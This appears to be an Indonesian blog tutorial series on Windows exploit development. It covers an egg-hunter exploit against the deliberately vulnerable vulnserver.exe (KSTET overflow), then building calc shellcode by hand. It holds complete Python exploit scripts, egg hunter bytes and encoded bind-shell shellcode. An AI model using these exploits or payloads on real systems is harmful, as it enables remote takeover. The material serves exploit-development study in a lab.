Membangun Eksploitasi Windows Bagian 8: win32 Egghunter

Setelah beberapa bulan dari tulisan terakhir, akhirnya saya bisa punya waktu untuk lagi untuk melanjutkan seri tulisan membangun eksploitasi di Windows. Pada tulisan kali ini saya akan membahas penggunaan egg hunter yaitu sebuah shellcode kecil yang berfungsi untuk mencari shellcode yang lebih besar. Lebih detailnya akan saya bahas di bawah ini.

Apa, mengapa, dan kapan butuh Egg hunter?

Egg hunter tidak lain adalah sebuah shellcode berukuran kecil (sekitar 32-60 bytes) yang bertugas untuk mencari shellcode lain (biasanya berukuran lebih besar). Pencarian ini dilakukan di Virtual Address Space (VAS) yang benar dan mencari sebuah tag atau penanda (karena itu disebut sebagai egg). Penanda atau egg ini biasanya merupakan karakter unik, berulang dan berdempetan, contoh paling umum sebuah egg adalah w00tw00t (t00wt00w dalam bentuk little-endian).

Egg hunter digunakan ketika dalam proses eksploitasi, ukuran buffer yang memicu buffer overflow sangat kecil dan tidak cukup untuk meletakkan shellcode di atas 60 bytes. Egg hunter sering disebut juga sebagai staged-shellcode namun menurut saya kurang tepat karena cara kerja staged-shellcode biasanya mengirimkan shellcode kecil sebagai pemicu untuk mengunduh shellcode yang lebih besar (cara kerjanya mirip dengan malware downloader) sedangkan egg hunter tidak mengunduh shellcode lain namun mencarinya di memori.

Untuk dapat melihat egg hunter dengan lebih dekat, saya akan menjalankannya pada sistem operasi Windows 7 SP1 (x86) dan perlu memasang hal-hal berikut:

Pada tulisan kali ini saya akan melewatkan beberapa hal terkait eksploitasi buffer overflow karena teknik yang digunakan sudah pernah dijelaskan pada tulisan-tulisan sebelumnya. Saya akan fokus pada bagian penggunaan 32-bit egg hunter, dimana ketika ukuran buffer yang dapat dimanfaatkan untuk eksploitasi kurang dari 60 bytes, atau hampir tidak mungkin menaruh shellcode yang umum (shellcode untuk mengeksekusi program kalkulator saja berukuran 195 bytes).

Ada beberapa kondisi yang harus terpenuhi apabila ingin menggunakan egg hunter:

  1. Kita harus bisa mengeksekusi shellcode dan instruksi seperti JMP, CALL, PUSH/RET
  2. Kita harus bisa mengirimkan shellcode yang lebih besar dengan cara lain (entah melalui protokol lain atau fungsi lain) sebelum shellcode egg hunter tereksekusi
  3. Kita harus menentukan penanda yang unik dan berukuran 8 bytes karena shellcode egg hunter akan mencari penanda ini di memori. Penanda ini harus diletakkan tepat sebelum shellcode yang lebih besar “dikirimkan”.
  4. Panjang sebuah egg hunter shellcode 32-bit adalah sepanjang 32 bytes, pastikan kita dapat menempatkan egg hunter shellcode untuk menggunakannya.

Implementasi Penggunaan Shellcode Egg Hunter 32-bit

Shellcode egg hunter yang umum dibuat oleh Matt Miller (Skape) dan sudah menjadi bagian dari Mona Python script. Saya akan menggunakan shellcode egg hunter yang dihasilkan oleh Mona Python script dengan menjalankan !mona egg pada Immunity Debugger.

Egg hunter shellcode yang dihasilkan oleh Mona Python script

Shellcode egg hunter yang dihasilkan oleh Mona akan otomatis menggunakan penanda w00t. Jika dijabarkan dalam bahasa Assembly, berikut opcode dari shellcode egg hunter yang dihasilkan oleh Mona:

66:81CA FF0F     OR DX,0FFF
42               INC EDX
52               PUSH EDX
6A 02            PUSH 2
58               POP EAX
CD 2E            INT 2E
3C 05            CMP AL,5
5A               POP EDX
74 EF            JE SHORT 0x0
B8 77303074      MOV EAX,74303077          # ini penandanya: w00t
8BFA             MOV EDI,EDX
AF               SCAS DWORD PTR ES:[EDI]
75 EA            JNZ SHORT 0x0
AF               SCAS DWORD PTR ES:[EDI]
75 E7            JNZ SHORT 0x0
FFE7             JMP EDI

Program yang akan saya gunakan yaitu vulnserver.exe yang memang sengaja dibuat memiliki kerentanan. Dokumentasi mengenai vulnserver.exe dapat dibaca-baca di situs Github milik Stephen Bradshaw (https://github.com/stephenbradshaw/vulnserver).

Vulnserver.exe memiliki beberapa kerentanan, salah satunya adalah fungsi KSTET yang memiliki kerentanan buffer overflow. Berikut ini adalah skrip PoC yang dapat digunakan sebagai pembuktian bahwa KSTET memiliki kerentanan buffer overflow:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.92.135"
port=9999

buff = "KSTET " + "A" * 70 + "BBBB" + "C" * (1000-74)
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()

Setelah dijalankan kita bisa langsung mendapatkan kepastian bahwa EIP tertimpa dengan karakter BBBB.

EIP tertimpa dengan BBBB

Seperti yang dapat kita lihat di memori stack, terdapat karakter C yang mengisi memori stack namun tidak banyak (sekitar 20 bytes). Pada bagian Registers kita juga bisa lihat bahwa EAX memegang buffer yang menyebabkan buffer overflow.

Buffer yang masuk ke dalam memori stack

Buffer yang masuk ke dalam memori stack terbagi menjadi karakter A sebanyak 70 bytes, lalu karakter B yang menimpa EIP sebanyak 4 bytes, dan karakter C yang hanya 20 bytes. Dari hasil analisis di atas, kita dapat memanfaatkan 70 bytes karakter A sebagai tempat menaruh egg hunter shellcode. Sisa buffer setelah EIP (20 bytes karakter C) dapat kita gunakan untuk “lompat” ke register EAX, dimana pada register tersebut terdapat buffer yang kita kontrol dan akan diisi dengan egg hunter shellcode. Dari register EAX, proses eksekusi akan berlanjut ke egg hunter shellcode, dimana shellcode ini akan mencari shellcode yang lebih besar di memori.

Program vulnserver.exe memiliki sejumlah fungsi yang “sengaja” memiliki kerentanan, ada beberapa fungsi yang bisa kita manfaatkan namun pada kesempatan kali ini saya akan menggunakan fungsi STATS untuk mengirimkan shellcode yang lebih besar. Jika dipersingkat menjadi langkah-langkah, ini yang akan kita lakukan:

  1. Mengirimkan shellcode bind shell melalui fungsi STATS
  2. Memicu buffer overflow, mengarahkan aliran eksekusi menuju ESP, lalu mengeksekusi instruksi yang membuat register ESP menunjuk ke register EAX
  3. “Melompat” ke register EAX dan mengeksekusi shellcode egg hunter
  4. Shellcode egg hunter mencari shellcode bind shell yang sudah masuk ketika fungsi STATS digunakan
  5. Shellcode egg hunter menemukan penanda w00tw00t + shellcode bind shell lalu “melompat” ke register EDI (lihat kode Assembly di atas)
  6. Shellcode bind shell akan tereksekusi

Seperti proses eksploitasi buffer overflow pada umumnya, tentu saja setelah berhasil menimpa EIP, kita akan menimpa EIP dengan alamat yang membawa kita ke buffer yang kita kontrol. Sesuai analisis di atas, kita bisa menimpa EIP dengan JMP ESP yang akan membawa kita ke buffer yang kita kontrol, namun buffer tersebut berukuran kecil (hanya 20 bytes). Kita akan mengisi buffer ini dengan perintah seperti:

nop
nop
nop
nop
..
..
add eax, 8
jmp eax
..
..

Apabila disatukan dalam skrip PoC maka menjadi seperti ini:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.92.135"
port=9999

buff = "KSTET "
buff+= "A" * 70                         # jumlah bytes yang diperlukan untuk mencapai EIP
buff+= "\x03\x12\x50\x62"               # jmp esp 
buff+= "\x90" * 8                       # nopsled
buff+= "\x83\xC0\x08\xFF\xD0"           # add eax,8 # jmp eax
buff+= "C" * (1000-len(buff))           # sisa buffer

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()

Apabila dijalankan, maka pada register EAX akan terbentuk seperti pada cuplikan layar berikut:

Register EAX menunjuk ke buffer yang dikuasai

Sampai pada posisi ini, kita hanya tinggal mengganti buffer tersebut dengan shellcode egg hunter. Berikut ini yang dapat saya rangkai dalam skrip Python selanjutnya:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.92.135"
port=9999

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+= "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

buff = "KSTET " + "A" * 2
buff+= "\x90" * 8                       # nopsled
buff+= egghunter                        # 32 bytes
buff+= "A" * 28                         # sisa dari 70 bytes menuju EIP
buff+= "\x03\x12\x50\x62"               # jmp esp
buff+= "\x90" * 8                       # nopsled
buff+= "\x83\xC0\x08\xFF\xD0"           # add eax,8 # jmp eax
buff+= "C" * (1000-len(buff))           # sisa buffer

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send("STATS " + "w00tw00t" + "\xcc" * 1000)
expl.close()

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()

Pada skrip Python di atas, shellcode egg hunter saya taruh di baris ke-15. Pada baris ke-14, terlihat bahwa saya menambahkan NOP sebanyak 8 bytes sebagai landasan ketika instruksi add eax, 8 dan jmp eax tereksekusi. Pada baris ke-16 saya juga menambahkan sisa buffer (karakter A sebanyak 28 bytes) agar memenuhi buffer overflow dan mencapai EIP. Pada baris ke-22 sampai ke-26, saya membuat koneksi baru dan mengirimkan perintah STATS yang diikuti oleh penanda shellcode egg hunter yaitu w00tw00t dan bakal shellcode, sementara bakal shellcode ini saya isi dengan INT3 yang diwakilkan oleh heksa 0xcc.

Apabila skrip di atas dijalankan, terlihat bahwa aliran eksekusi akan terlempar ke register EAX sebagai akibat dari perintah add eax, 8 dan jmp eax. NOPsled sebanyak 8 bytes sudah menunggu dan shellcode egg hunter siap tereksekusi. Jika kita ikuti dengan perintah Step into (tombol F7), terlihat bahwa proses eksekusi akan berulang ketika sampai pada instruksiJE SHORT 01A1F9A0 hal tersebut terjadi karena pengecekan terhadap Virtual Address Space (VAS) yang tepat sampai tidak terjadi Access Violation (0xc00000005cmp al,5). Apabila VAS tersebut ada dan benar, maka instruksi berlanjut dengan menaruh penanda (0x74303077w00t) ke register EAX. Dari sinilah proses pencarian penanda ini (w00t) dimulai sampai ketemu. Shellcode egg hunter didesain untuk menemukan 2 penanda yang berdempetan agar benar-benar yakin bahwa setelah 2 penanda ini ditemukan, berarti setelahnya adalah bakal shellcode (0xcc). Setelah 2 penanda ini ditemukan, alamat bakal shellcode akan disimpan ke register EDI dan aliran eksekusi akan langsung diarahkan ke register EDI (ditandai dengan instruksi JMP EDI)

Shellcode egg hunter tereksekusi, shellcode bind shell sudah menunggu di register EDI

Kita bisa melihat pada register EDI telah menunggu bakal shellcode. Jika kita gulir ke atas sedikit, kita bisa lihat penanda yang berdempetan tersebut (w00tw00t).

Aliran eksekusi mengarah ke register EDI

Sampai saat ini, apabila bakal shellcode kita ganti dengan shellcode bind shell, maka shellcode tersebut pasti tereksekusi. Berikut ini skrip Python yang sudah dilengkapi dengan shellcode bind shell:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.92.135"
port=9999

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+= "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
# x86/shikata_ga_nai chosen with final size 355
# Payload size: 355 bytes
shellcode =  b""
shellcode += b"\xb8\x7e\xa3\x25\x27\xd9\xc7\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc"
shellcode += b"\x03\x3c\xad\xc7\xd2\x3c\x59\x85\x1d\xbc\x9a"
shellcode += b"\xea\x94\x59\xab\x2a\xc2\x2a\x9c\x9a\x80\x7e"
shellcode += b"\x11\x50\xc4\x6a\xa2\x14\xc1\x9d\x03\x92\x37"
shellcode += b"\x90\x94\x8f\x04\xb3\x16\xd2\x58\x13\x26\x1d"
shellcode += b"\xad\x52\x6f\x40\x5c\x06\x38\x0e\xf3\xb6\x4d"
shellcode += b"\x5a\xc8\x3d\x1d\x4a\x48\xa2\xd6\x6d\x79\x75"
shellcode += b"\x6c\x34\x59\x74\xa1\x4c\xd0\x6e\xa6\x69\xaa"
shellcode += b"\x05\x1c\x05\x2d\xcf\x6c\xe6\x82\x2e\x41\x15"
shellcode += b"\xda\x77\x66\xc6\xa9\x81\x94\x7b\xaa\x56\xe6"
shellcode += b"\xa7\x3f\x4c\x40\x23\xe7\xa8\x70\xe0\x7e\x3b"
shellcode += b"\x7e\x4d\xf4\x63\x63\x50\xd9\x18\x9f\xd9\xdc"
shellcode += b"\xce\x29\x99\xfa\xca\x72\x79\x62\x4b\xdf\x2c"
shellcode += b"\x9b\x8b\x80\x91\x39\xc0\x2d\xc5\x33\x8b\x39"
shellcode += b"\x2a\x7e\x33\xba\x24\x09\x40\x88\xeb\xa1\xce"
shellcode += b"\xa0\x64\x6c\x09\xc6\x5e\xc8\x85\x39\x61\x29"
shellcode += b"\x8c\xfd\x35\x79\xa6\xd4\x35\x12\x36\xd8\xe3"
shellcode += b"\x8f\x3e\x7f\x5c\xb2\xc3\x3f\x0c\x72\x6b\xa8"
shellcode += b"\x46\x7d\x54\xc8\x68\x57\xfd\x61\x95\x58\x10"
shellcode += b"\x2e\x10\xbe\x78\xde\x74\x68\x14\x1c\xa3\xa1"
shellcode += b"\x83\x5f\x81\x99\x23\x17\xc3\x1e\x4c\xa8\xc1"
shellcode += b"\x08\xda\x23\x06\x8d\xfb\x33\x03\xa5\x6c\xa3"
shellcode += b"\xd9\x24\xdf\x55\xdd\x6c\xb7\xf6\x4c\xeb\x47"
shellcode += b"\x70\x6d\xa4\x10\xd5\x43\xbd\xf4\xcb\xfa\x17"
shellcode += b"\xea\x11\x9a\x50\xae\xcd\x5f\x5e\x2f\x83\xe4"
shellcode += b"\x44\x3f\x5d\xe4\xc0\x6b\x31\xb3\x9e\xc5\xf7"
shellcode += b"\x6d\x51\xbf\xa1\xc2\x3b\x57\x37\x29\xfc\x21"
shellcode += b"\x38\x64\x8a\xcd\x89\xd1\xcb\xf2\x26\xb6\xdb"
shellcode += b"\x8b\x5a\x26\x23\x46\xdf\x56\x6e\xca\x76\xff"
shellcode += b"\x37\x9f\xca\x62\xc8\x4a\x08\x9b\x4b\x7e\xf1"                                                                                                                                                                         
shellcode += b"\x58\x53\x0b\xf4\x25\xd3\xe0\x84\x36\xb6\x06"                                                                                                                                                                         
shellcode += b"\x3a\x36\x93"

buff = "KSTET " + "A" * 2
buff+= "\x90" * 8                           # nopsled
buff+= egghunter                            # 32 bytes
buff+= "A" * 28                             # sisa dari 70 bytes menuju EIP
buff+= "\x03\x12\x50\x62"                   # jmp esp
buff+= "\x90" * 8                           # nopsled
buff+= "\x83\xC0\x08\xFF\xD0"               # add eax,8 # call eax
buff+= "C" * (1000-len(buff))

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send("STATS " + "w00tw00t" + shellcode)
expl.close()

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buff)
expl.close()
Shellcode bind shell sudah menunggu di register EDI

Apabila proses eksekusi dilanjutkan, maka port 4444 akan terbuka sebagai akibat dari shellcode bind shell.

Shellcode bind shell sukses tereksekusi

Setelah yakin skrip eksploit tersebut berhasil mengeksekusi shellcode bind shell dengan bantuan shellcode egg hunter, kita dapat mengeksekusi skrip eksploit ini di luar debugger.

Eksploit sukses

Eksploit vulnserver pada fungsi KSTET dengan memanfaatkan shellcode egg hunter berhasil dilakukan.

Catatan Tambahan

Tulisan ini hanya fokus pada shellcode egg hunter di arsitektur 32-bit, sementara itu ada beberapa kondisi yang butuh penyesuaian apabila proses eksploitasi dilakukan pada sistem dengan arsitektur 64-bit. Meskipun semua sistem saat ini sebagian besar sudah mengarah ke arsitektur 64-bit, beberapa program masih dibuat dan berjalan hanya untuk arsitektur 32-bit. Untuk alasan itulah sejak Windows XP 64 bit, Microsoft mulai memperkenalkan WoW64 (Windows 32-bit on Windows 64-bit) yang tetap memproses eksekusi program 32-bit di arsitektur 64-bit. Tentu saja akibat adanya WoW64, proses eksekusi shellcode egg hunter akan mengalami penyesuaian.

Untuk memahami hal ini, silakan lanjut membaca dokumen-dokumen atau artikel terkait dengan penggunaan shellcode egg hunter pada sistem arsitektur 64-bit.

Referensi

Membangun Eksploitasi Windows Bagian 7: Membuat shellcode sendiri (win32)

Setelah bermain-main dengan buffer overflow beberapa minggu lalu, kita sudah melihat bagaimana sebuah fungsi yang mengalami buffer overflow dapat dimanfaatkan untuk mengambil alih aliran aplikasi dan diarahkan ke kode-kode yang kita tentukan sendiri. Kode-kode yang disebut shellcode ini merupakan rangkaian bahasa rakitan dalam bentuk heksadesimal, yang berinteraksi langsung dengan komputer untuk mengeksekusi perintah-perintah sistem operasi. Dari kemarin, shellcode yang kita gunakan adalah shellcode bind shell yang membuka port 4444 pada target yang berhasil dieksploitasi. Dulu saya selalu bertanya-tanya, apa yang sebenarnya dilakukan oleh shellcode? Saya juga pernah melihat subbagian shellcode di Exploit-DB (sampai sekarang masih ada), beberapa peretas menaruh shellcode-nya disana dan tentu saja kita bisa memakai shellcodeshellcode tersebut. Namun apakah semua shellcode aman untuk digunakan? Bagaimana kita tahu bahwa shellcode tersebut benar-benar mengeksekusi perintah sistem operasi yang ditentukan? Tentu saja tidak ada yang dapat memastikan hal tersebut selain kita sendiri, yaitu dengan cara mengujinya. Tulisan ini akan berusaha menjelaskan apa yang sebenarnya terjadi ketika sebuah shellcode dieksekusi, yang pada akhirnya memberikan gambaran bahwa kita dapat membuat shellcode sendiri. Lingkup pembahasan pada tulisan ini hanya mencakup pembuatan shellcode yang umum digunakan.

Peralatan yang diperlukan untuk mengikuti pembuatan shellcode dalam tulisan ini:

Bedanya Windows dan Linux shellcode

Tidak seperti pada sistem Linux dimana kita dapat berinteraksi dengan kernel melalui int 0x80 atau syscalls (system calls), kita tidak dapat berinteraksi langsung dengan kernel pada sistem Windows. Untuk dapat berkomunikasi dengan instruksi pada sistem (system calls), kita harus menggunakan fungsi-fungsi yang direferensikan melalui sebuah alamat pada sebuah Dynamic Link Library atau yang biasa kita kenal dengan sebutan DLL. Alamat dari fungsi-fungsi ini akan sangat bervariasi antar versi Windows, sementara pada sistem Linux, syscall numbers akan selalu sama. Hal inilah yang menyebabkan pembuatan shellcode pada sistem Windows sedikit lebih rumit karena apabila kita membuat sebuah shellcode pada sistem Windows XP SP3, maka shellcode tersebut tidak akan dapat berjalan pada sistem Windows 7. Ketidakandalan ini yang akhirnya memaksa beberapa peneliti kreatif menghasilkan teknik-teknik yang membuat shellcode menjadi generik dan dapat berjalan di semua versi Windows. Teknik-teknik tersebut seperti:

  • Mencari otomatis alamat dasar (base address) sebuah modul, misal mencari secara otomatis alamat dasar modul kernel32.dll agar kita dapat mengetahui persis alamat fungsi WinExec yang memang ada di modul tersebut. Sebagai contoh, cara sederhananya adalah dengan melakukan kalkulasi base address+offset ke fungsi WinExec.
  • Melakukan resolve symbols dengan cara memanggil export directory table sebuah PE image, tujuannya agar fungsi tersebut dapat kita panggil melalui shellcode secara relatif.
  • Menggunakan hash untuk mencari fungsi pada sebuah modul agar dapat langsung direferensikan alamatnya.

Calc shellcode, kenapa?

Beberapa eksploit di Exploit-DB menggunakan shellcode yang mengeksekusi program kalkulator sebagai pembuktian sebuah eksploit (proof of concept exploit) karena program kalkulator memiliki nama calc.exe, yang pada lingkungan Windows dapat dipersingkat dengan hanya memanggil calc. Karena dapat dipanggil dengan nama yang singkat (calc hanya mengandung 4 karakter), penggunaan byte pada shellcode jadi sedikit. Selain itu, mengeksekusi program kalkulator (calc.exe) bersamaan dengan program yang sedang berjalan (dengan memanfaatkan kerentanan) sekaligus membuktikan sebuah teori remote command execution.

Calc shellcode sebenarnya hanya memanggil fungsi WinExec dan ExitProcess pada Windows. Shellcode akan berusaha memenuhi parameter fungsi yang dibutuhkan, lalu memanggil fungsi-fungsi tersebut. Karena sederhana, shellcode yang dihasilkan biasanya juga tidak besar. Ukurannya dari yang paling kecil (statik) 16 byte sampai yang sudah dinamik dan generik sekitar 100-190 byte. Karena alasan inilah kenapa calc shellcode sering dipakai sebagai proof of concept untuk pembuktian command execution pada sebuah eksploitasi kerentanan.

Kita akan coba membuat shellcode sederhana yang akan mengeksekusi perintah sistem operasi pada sistem Windows 10 Enterprise Evaluation (version 2004, build 19041.388). Untuk membuat shellcode ini, kita perlu mengetahui alamat dari fungsi WinExec dan ExitProcess, kedua fungsi ini ada di modul kernel32.dll. Kita juga dapat melihat parameter yang dibutuhkan oleh WinExec dan ExitProcess sebagai berikut:

WinExec (https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec)

UINT WinExec( 
LPCSTR lpCmdLine, 
UINT uCmdShow 
);

ExitProcess (https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-exitprocess)

void ExitProcess( 
UINT uExitCode 
);

Untuk mencari kedua alamat fungsi tersebut, kita bisa meminjam skrip arwin.c berikut:

#include <windows.h>
#include <stdio.h>

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
   vividmachines.com
   shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/


int main(int argc, char** argv)
{
	HMODULE hmod_libname;
	FARPROC fprc_func;
	
	printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
	if(argc < 3)
	{
		printf("%s <Library Name> <Function Name>\n",argv[0]);
		exit(-1);
	}

	hmod_libname = LoadLibrary(argv[1]);
	if(hmod_libname == NULL)
	{
		printf("Error: could not load library!\n");
		exit(-1);
	}
	fprc_func = GetProcAddress(hmod_libname,argv[2]);
	
	if(fprc_func == NULL)
	{
		printf("Error: could find the function in the library!\n");
		exit(-1);
	}
	printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);


}

Saya kompilasi skrip di atas menggunakan Dev-C++ versi 5.11, lalu saya jalankan untuk mencari alamat kedua fungsi di atas.

Setelah mengetahui kedua alamat fungsi tersebut, kita bisa segera menuliskan kode bahasa rakitan (asm) seperti berikut (sebagian besar saya pinjam dari projectshellcode.com tutorial 3: Windows Command Execution Shellcode):

;calc.asm
;credit: Tyron Miller (@tyronmiller)
[Section .text]
BITS 32
global _start
_start:
jmp short GetCommand      ;lompat ke string perintah calc
CommandReturn:            ;membuat label agar string calc ditaruh di stack
    pop ebx               ;string calc akan ada di ebx
    xor eax,eax           ;mengosongkan eax 
    push eax              ;menaruh nilai kosong ke stack untuk parameter WinExec
    push ebx              ;menaruh string calc ke stack
    mov ebx,0x757dcd60    ;menaruh alamat fungsi WinExec ke ebx
    call ebx              ;panggil fungsi WinExec di ebx
    xor eax,eax           ;mengosongkan eax setelah dipakai oleh fungsi WinExec
    push eax              ;menaruh nilai kosong ke stack untuk parameter ExitProcess
    mov ebx, 0x757a4060   ;menaruh alamat fungsi ExitProcess ke ebx 
    call ebx              ;panggil fungsi ExitProcess(0);
GetCommand:               ;membuat label untuk lokasi dari of string calc
    call CommandReturn    ;memanggil label agar lokasi dari string di taruh ke stack
    db "calc"             ;string calc.exe.
    db 0x00               ;akhir dari string yaitu karakter null.

Simpan skrip bahasa rakitan di atas dengan nama calc.asm, lalu kompilasi menggunakan NASM.

PS C:\Users\User\Desktop\shellcode-build\asm> nasm.exe -f bin -o calc.bin .\calc.asm

Untuk mengeluarkan kode mesin pada calc.bin kita dapat memanfaatkan Kali Linux atau Ubuntu WSL (Windows Subsystem for Linux). Saya akan menggunakan Ubuntu WSL yang dapat dengan mudah dipasang pada sistem Windows 10. Berikut ini adalah skrip Bash yang dapat digunakan untuk mengeluarkan kode mesin shellcode dalam bentuk heksa (saya juga meminjamnya dari projectshellcode.com):

#!/bin/bash
#credit: Tyron Miller (@tyronmiller)
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi;ebx now points to the string

filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo

Cara menggunakannya yaitu dengan menjalankan skrip Bash di atas pada Ubuntu WSL seperti berikut:

Hasil dari skrip Bash xxd-shellcode.sh

Atau kita juga dapat menjalankan command line seperti berikut:

$ hexdump -v -e '"\\x" 1/1 "%02x"' asm/calc.bin
atau
$ xxd -p asm/calc.bin | tr -d '\n' | sed 's/(..)/\x\1/g'

Hasil shellcode tersebut akan kita kompilasi lagi dengan skrip shellcodetest.c untuk memastikan apakah shellcode yang kita buat berjalan.

/*shellcodetest.c
credit: steve hanna - vividmachines.com
*/ 
char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x60\xcd\x7d\x75\xff\xd3\x31\xc0\x50\xbb\x60\x40\x7a\x75\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c\x63\x00";
int main(int argc, char **argv)
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Setelah dikompilasi (saya menggunakan Dev-C++ 5.11) lalu dijalankan dengan command prompt, program kalkulator (calc.exe) seharusnya akan muncul.

Shellcode yang kita buat berhasil menjalankan program kalkulator (calc.exe)

Sampai saat ini kita telah membuat shellcode sendiri yang mengeksekusi program kalkulator (calc.exe) pada sistem Windows 10. Apabila kita susun per 8 byte baris, maka shellcode tersebut berukuran 34 bytes dan dapat kita lihat sebagai berikut:

shellcode = ""
shellcode += "\xeb\x16\x5b\x31\xc0\x50\x53\xbb"
shellcode += "\x60\xcd\x7d\x75\xff\xd3\x31\xc0"
shellcode += "\x50\xbb\x60\x40\x7a\x75\xff\xd3"
shellcode += "\xe8\xe5\xff\xff\xff\x63\x61\x6c"
shellcode += "\x63\x00"

Jika kita perhatikan, terdapat karakter “\x00” yang merupakan karakter null. Null byte dibutuhkan untuk mengakhiri string (dalam hal ini string calc). Seperti yang sudah kita ketahui bahwa karakter null berpotensi ditolak (bad characters) oleh program. Apabila shellcode di atas kita gunakan sebagai shellcode sebagai proof of concept eksploit, besar kemungkinan shellcode di atas tidak berjalan dengan baik.

Menyiasati null byte pada shellcode

Sebelumnya kita sudah mengetahui cara menghilangkan null byte dengan menggunakan msfvenom namun pada tulisan kali ini, kita akan coba menghilangkan null byte dengan mengganti beberapa instruksi sebelumnya dengan deretan instruksi baru sebagai berikut:

push 0x636c6163            ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack
pop ebx                    ;menyimpannya di ebx
xor eax,eax                ;mengosongkan nilai eax
push eax                   ;dorong nilai null ke stack pengganti null byte sebelumnya
push ebx                   ;dorong string calc ke stack
mov ebx,esp                ;menyimpan string calc 

Jika digabungkan, maka akan seperti ini:

;calc2.asm
[Section .text]
BITS 32
global _start
_start:
push 0x636c6163            ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack
pop ebx                    ;menyimpannya di ebx
xor eax,eax                ;mengosongkan nilai eax
push eax                   ;dorong nilai null ke stack pengganti null byte sebelumnya
push ebx                   ;dorong string calc ke stack
mov ebx,esp                ;menyimpan string calc
push eax                   ;menaruh nilai kosong ke stack untuk parameter WinExec
push ebx                   ;menaruh string calc ke stack untuk parameter WinExec
mov ebx,0x76bccd60         ;menaruh alamat fungsi WinExec ke ebx
call ebx                   ;panggil fungsi WinExec di ebx
xor eax,eax                ;mengosongkan eax setelah dipakai oleh fungsi WinExec
push eax                   ;menaruh nilai kosong ke stack untuk parameter ExitProcess
mov ebx,0x76b94060         ;menaruh alamat fungsi ExitProcess ke ebx
call ebx                   ;panggil fungsi ExitProcess(0);

Setelah kita kompilasi dengan nasm dan mengeluarkan kode mesin yang menjadi shellcode, hasilnya seperti ini:

shellcode = ""
shellcode += "\x68\x63\x61\x6c\x63\x5b\x31\xc0"
shellcode += "\x50\x53\x89\xe3\x50\x53\xbb\x60"
shellcode += "\xcd\xbc\x76\xff\xd3\x31\xc0\x50"
shellcode += "\xbb\x60\x40\xb9\x76\xff\xd3"

Total shellcode adalah 31 bytes. Jika diperhatikan, apa yang saya lakukan di atas hanya akal-akalan yang tidak kreatif yaitu mengakali null byte dengan cara mengganti penulisan byte yang sebelumnya direferensikan dengan label GetCommand dan diikuti oleh instruksi call CommandReturn , db "calc" lalu db 0x00 dengan instruksi pengganti sebagai berikut:

push 0x636c6163             ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack
pop ebx                     ;menyimpannya di ebx
xor eax,eax                 ;mengosongkan nilai eax
push eax                    ;dorong nilai null ke memori stack pengganti null byte sebelumnya
push ebx                    ;dorong string calc ke memori stack
mov ebx,esp                 ;menyimpan string calc

Instruksi push 0x636c6163 mendorong string calc ke memori stack lalu menyimpannya di register ebx (instruksi pop ebx). Setelah itu instruksi xor eax,eax dan push eax mengosongkan nilai pada register eax dan mendorongnya ke memori stack. Instruksi berikutnya push ebx dan mov ebx, esp akan mendorong string calc yang sudah ada di register ebx ke memori stack, lalu memindahkan alamat memori stack teratas yang ditunjuk oleh register esp ke register ebx. Dengan begitu, alamat memori yang menunjuk ke string calc akan dipegang oleh register ebx. Instruksi selanjutnya sama dengan sebelumnya sebagai berikut:

push eax                   ;menaruh nilai kosong ke stack untuk parameter WinExec
push ebx                   ;menaruh string calc ke stack untuk parameter WinExec
mov ebx,0x76bccd60         ;menaruh alamat fungsi WinExec ke ebx
call ebx                   ;panggil fungsi WinExec di ebx

